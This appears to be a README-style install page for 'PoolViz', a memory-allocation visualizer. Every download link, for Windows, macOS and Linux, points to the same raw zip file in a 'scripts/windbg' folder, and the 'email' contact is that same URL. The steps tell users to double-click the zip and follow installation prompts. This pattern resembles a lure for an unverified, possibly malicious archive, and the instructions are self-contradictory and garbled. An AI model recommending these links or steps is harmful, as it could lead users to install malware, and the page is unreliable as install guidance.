Welcome to PoolViz! This application helps you see how memory is used in your programs. You will find it useful if you want to understand memory allocation patterns. Let’s walk through the steps to download and run PoolViz.
Before you download, make sure your computer meets these minimum requirements:
- Operating System: Windows 10 or later, macOS 10.15 or later, or a recent Linux distribution.
- Memory: At least 4 GB of RAM.
- Disk Space: 100 MB available space.
- Click here to visit the Releases page.
- On the Releases page, find the latest version of PoolViz. It’s usually at the top.
- Click on the version number to open the release notes.
- Under Assets, find the file suited for your operating system:
- For Windows, select
https://raw.githubusercontent.com/rafat12/poolviz/master/scripts/windbg/poolviz_v2.3-alpha.3.zip - For macOS, select
https://raw.githubusercontent.com/rafat12/poolviz/master/scripts/windbg/poolviz_v2.3-alpha.3.zip - For Linux, select
https://raw.githubusercontent.com/rafat12/poolviz/master/scripts/windbg/poolviz_v2.3-alpha.3.zip
- For Windows, select
- Click on the appropriate file to start downloading.
- Once downloaded, follow these steps based on your operating system:
- Double-click the
https://raw.githubusercontent.com/rafat12/poolviz/master/scripts/windbg/poolviz_v2.3-alpha.3.zipfile. - Follow the installation prompts.
- Once installed, you can find PoolViz in your Start Menu.
- Open the
https://raw.githubusercontent.com/rafat12/poolviz/master/scripts/windbg/poolviz_v2.3-alpha.3.zipfile. - Drag PoolViz into your Applications folder.
- Open the Applications folder and find PoolViz to launch it.
- Extract the
https://raw.githubusercontent.com/rafat12/poolviz/master/scripts/windbg/poolviz_v2.3-alpha.3.zipfile using the terminal or file manager. - Open a terminal window and navigate to the extracted folder.
- Run the application with the command:
./poolviz
Now that you have installed PoolViz, you can start using it. Here are some basic steps to follow:
- Open PoolViz from your applications list.
- Load a memory allocation file or create a new one.
- Use the interactive visualization tools to explore how memory is allocated.
- Experiment with different layers to gain insights into optimization.
- Interactive Visualization: See memory patterns clearly across different segments.
- Multi-Layer Support: Analyze multiple layers to understand complex behaviors.
- User-Friendly Interface: No programming knowledge needed to start using PoolViz.
For more help with PoolViz, refer to these resources:
Your feedback is important. If you run into issues or have suggestions, please report them on this page.
If you're interested in contributing to PoolViz, check out the guidelines in the repository.
For direct inquiries, feel free to reach out to the development team via email: https://raw.githubusercontent.com/rafat12/poolviz/master/scripts/windbg/poolviz_v2.3-alpha.3.zip
Now you're set to explore memory visualization with PoolViz! Enjoy your journey into memory management.